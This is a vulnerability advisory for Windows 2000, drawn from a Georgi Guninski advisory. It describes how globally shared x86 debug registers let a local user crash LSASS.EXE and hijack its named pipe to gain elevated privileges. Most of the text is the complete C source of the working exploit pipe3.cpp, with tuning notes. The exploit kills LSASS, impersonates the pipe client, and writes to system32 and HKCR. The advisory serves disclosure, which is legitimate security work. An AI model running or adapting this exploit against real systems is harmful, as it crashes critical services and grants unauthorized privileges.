COMMAND
kernel
SYSTEMS AFFECTED
Win2K
PROBLEM
Following is based on a Georgi Guninski security advisory #45.
If someone can execute programs on a target Win2K system then he
may elevate his privileges at least to extent which gives him
write access to C:\WINNT\SYSTEM32 and HKCR.
The problem is the x86 debug registers DR0-7 are global for all
processes. So setting a hardware breakpoint in one process
affects other processes and services. If the hardware breakpoint
is hit in a service then an unhandled single step exception
occurs and the process/service is terminated. After the service
is terminated it is possible to hijack its trusted named pipes
and when another service writes to the named pipe it is possible
to impersonate the service. In my exploit pipe3.cpp LSASS.EXE is
killed with the help of hardware breakpoint and then
\\.\pipe\lsass is hijacked. Simple test for debug registers.
Start debugging CALC.EXE with windbg. Set hardware breakpoint on
memory write to the current value of ESP. Start taskmgr.exe and
wait some time. If you start receiving Single Step exception
with dialog boxes and/or BSOD in processess other than CALC.EXE
then there is vulnerability.
Notes on using pipe3.cpp: pipe3.cpp is kind of ugly but works on
all the boxes I have tested. It has 2 arguments - <pid of
LSASS.EXE> and <ESP in LSASS.EXE>. Build and start pipe3. Wait
some time. The expected result is to get exception in LSASS.EXE
and then it must be terminated. Then after sometime the console
is locked and the mashine is rebooted. A file is created in
c:\winnt\system32 and a key in HKCR. If LSASS.EXE is not
terminated stop and restart pipe3. If nothing happens you may
need to play with the parameter MAGICESPINLSA - this is the ESP
in a thread in LSASS.EXE. If you get BSOD then you need more
playing with the parameter and or Sleep().
Demonstration:
http://www.guninski.com/pipe3.cpp
pipe3.cpp:
// Win2K elevation of privileges
// Written by Georgi Guninski http://www.guninski.com
// Kind of ugly but works
// Check the disclaimer and advisory at http://www.guninski.com/dr07.html
#define _WIN32_WINNT 0x0500
#include <stdio.h>
#include <windows.h>
#include <stdlib.h>
// may need to change below
///////////////////////////////
DWORD lsasspid=224; // pid of LSASS.EXE
//DWORD lsasspid=236; // pid of LSASS.EXE
DWORD MAGICESPINLSA=0x0053ffa0; // ESP in LSASS.EXE - may need to change it
//////////////////////////////
char szPipe[64]="\\\\.\\pipe\\lsass";
HANDLE hProc = NULL;
PROCESS_INFORMATION pi;
volatile int lsadied = 0;
unsigned long __stdcall threadlock(void *v)
{
Sleep(1000);
LockWorkStation();
return 0;
}
unsigned long __stdcall threadwriter(void *v)
{
while(!lsadied)
{
FILE *f1;
f1=fopen("\\\\.\\pipe\\lsass","a");
if (f1 != NULL)
{
fprintf(f1,"A");
fclose(f1);
}
/*
else
printf("%s\n","error writing to pipe");
*/
Sleep(400);
}
printf("%s\n","Stop writing to pipe");
return 0;
}
unsigned long __stdcall waitlsadie(void *v)
{
int lsadied2=0;
long ( __stdcall *NtQuerySystemInformation )( ULONG, PVOID, ULONG, ULONG ) = NULL;
if ( !NtQuerySystemInformation )
NtQuerySystemInformation = ( long ( __stdcall * )( ULONG, PVOID, ULONG,
ULONG ) ) GetProcAddress( GetModuleHandle( "ntdll.dll" ),"NtQuerySystemInformation" );
typedef struct _tagThreadInfo
{
FILETIME ftCreationTime;
DWORD dwUnknown1;
DWORD dwStartAddress;
DWORD dwOwningPID;
DWORD dwThreadID;
DWORD dwCurrentPriority;
DWORD dwBasePriority;
DWORD dwContextSwitches;
DWORD dwThreadState;
DWORD dwWaitReason;
DWORD dwUnknown2[ 5 ];
} THREADINFO, *PTHREADINFO;
#pragma warning( disable:4200 )
typedef struct _tagProcessInfo
{
DWORD dwOffset;
DWORD dwThreadCount;
DWORD dwUnknown1[ 6 ];
FILETIME ftCreationTime;
DWORD dwUnknown2[ 5 ];
WCHAR* pszProcessName;
DWORD dwBasePriority;
DWORD dwProcessID;
DWORD dwParentProcessID;
DWORD dwHandleCount;
DWORD dwUnknown3;
DWORD dwUnknown4;
DWORD dwVirtualBytesPeak;
DWORD dwVirtualBytes;
DWORD dwPageFaults;
DWORD dwWorkingSetPeak;
DWORD dwWorkingSet;
DWORD dwUnknown5;
DWORD dwPagedPool;
DWORD dwUnknown6;
DWORD dwNonPagedPool;
DWORD dwPageFileBytesPeak;
DWORD dwPrivateBytes;
DWORD dwPageFileBytes;
DWORD dwUnknown7[ 4 ];
THREADINFO ti[ 0 ];
} _PROCESSINFO, *PPROCESSINFO;
#pragma warning( default:4200 )
PBYTE pbyInfo = NULL;
DWORD cInfoSize = 0x20000;
while(!lsadied2)
{
pbyInfo = ( PBYTE ) malloc( cInfoSize );
NtQuerySystemInformation( 5, pbyInfo, cInfoSize, 0 ) ;
PPROCESSINFO pProcessInfo = ( PPROCESSINFO ) pbyInfo;
bool bLast = false;
lsadied2 = 1;
do {
if ( pProcessInfo->dwOffset == 0 )
bLast = true;
if (pProcessInfo->dwProcessID == lsasspid)
lsadied2 = 0 ;
pProcessInfo = ( PPROCESSINFO ) ( ( PBYTE ) pProcessInfo + pProcessInfo->dwOffset );
} while( bLast == false );
free( pbyInfo );
}
printf("LSA died!\n");
lsadied=1;
return 0;
}
void add_thread(HANDLE thread)
{
CONTEXT ctx = {CONTEXT_DEBUG_REGISTERS};
//DR7=d0000540 DR6=ffff0ff0 DR3=53ffa0 DR2=0 DR1=0 DR0=0
SuspendThread(thread);
GetThreadContext(thread,&ctx);
ctx.Dr7=0xd0000540;
ctx.Dr6=0xffff0ff0;
ctx.Dr3=MAGICESPINLSA;
ctx.Dr2=0;
ctx.Dr1=0;
ctx.Dr0=0;
SetThreadContext(thread, &ctx);
ResumeThread(thread);
// printf("DR7=%x DR6=%x DR3=%x DR2=%x DR1=%x DR0=%x\n",ctx.Dr7,ctx.Dr6,ctx.Dr3,ctx.Dr2,ctx.Dr1,ctx.Dr0);
}
unsigned long __stdcall threaddeb(void *v)
{
STARTUPINFO si = {
sizeof(STARTUPINFO)
};
CreateProcess(0,"c:\\winnt\\system32\\taskmgr.exe",0,0,0,
CREATE_NEW_CONSOLE,0,0,&si,&pi);
Sleep(2000);
BOOL status = CreateProcess(
0,
"c:\\winnt\\system32\\calc.exe",
0,0,0,
DEBUG_PROCESS
| DEBUG_ONLY_THIS_PROCESS
| CREATE_NEW_CONSOLE,
0,0,&si,&pi);
if( !status )
{
printf("%s\n","error debugging");
exit(1);
}
add_thread(pi.hThread);
for( ;; )
{
DEBUG_EVENT de;
if( !WaitForDebugEvent(&de, INFINITE) )
{
printf("%s\n","error WaitForDebugEvent");
}
switch( de.dwDebugEventCode )
{
case CREATE_THREAD_DEBUG_EVENT:
add_thread(de.u.CreateThread.hThread);
break;
}
ContinueDebugEvent(de.dwProcessId,de.dwThreadId,DBG_CONTINUE);
}
return 0;
}
int main(int argc,char* argv[])
{
DWORD dwType = REG_DWORD;
DWORD dwSize = sizeof(DWORD);
DWORD dwNumber = 0;
char szUser[256];
HANDLE hPipe = 0;
if (argc > 1)
lsasspid=atoi(argv[1]);
if (argc > 2)
sscanf(argv[2],"%x",&MAGICESPINLSA);
printf("Fun with debug registers. Written by Georgi Guninski\n");
printf("vvdr started: lsasspid=%d breakp=%x\n",lsasspid,MAGICESPINLSA);
CreateThread(0, 0, &threadwriter, NULL, 0, 0);
CreateThread(0, 0, &waitlsadie, NULL, 0, 0);
CreateThread(0, 0, &threaddeb, NULL, 0, 0);
while(!lsadied);
printf("start %s\n",szPipe);
hPipe = CreateNamedPipe (szPipe, PIPE_ACCESS_DUPLEX,
PIPE_TYPE_MESSAGE|PIPE_WAIT,
2, 0, 0, 0, NULL);
if (hPipe == INVALID_HANDLE_VALUE)
{
printf ("Failed to create named pipe:\n %s\n", szPipe);
return 3;
}
CreateThread(0, 0, &threadlock, NULL, 0, 0);
ConnectNamedPipe (hPipe, NULL);
if (!ReadFile (hPipe, (void *) &dwNumber, 4, &dwSize, NULL))
{
printf ("Failed to read the named pipe.\n");
CloseHandle(hPipe);
return 4;
}
if (!ImpersonateNamedPipeClient (hPipe))
{
printf ("Failed to impersonate the named pipe.\n");
CloseHandle(hPipe);
return 5;
}
dwSize = 256;
GetUserName(szUser, &dwSize);
printf ("Impersonating dummy :) : %s\n\n\n\n", szUser);
// the action begins
FILE *f1;
f1=fopen("c:\\winnt\\system32\\vv1.vv","a");
if (f1 != NULL)
{
fprintf(f1,"lsass worked\n");
fclose(f1);
printf("\n%s\n","Done!");
}
else
printf("error creating file");
fflush(stdout);
HKEY mykey;
RegCreateKey(HKEY_CLASSES_ROOT,"vv",&mykey);
RegCloseKey(mykey);
CloseHandle(hPipe);
return 0;
}
SOLUTION
According to Microsoft SP2 fixes this though Georgi has not
verified it personally.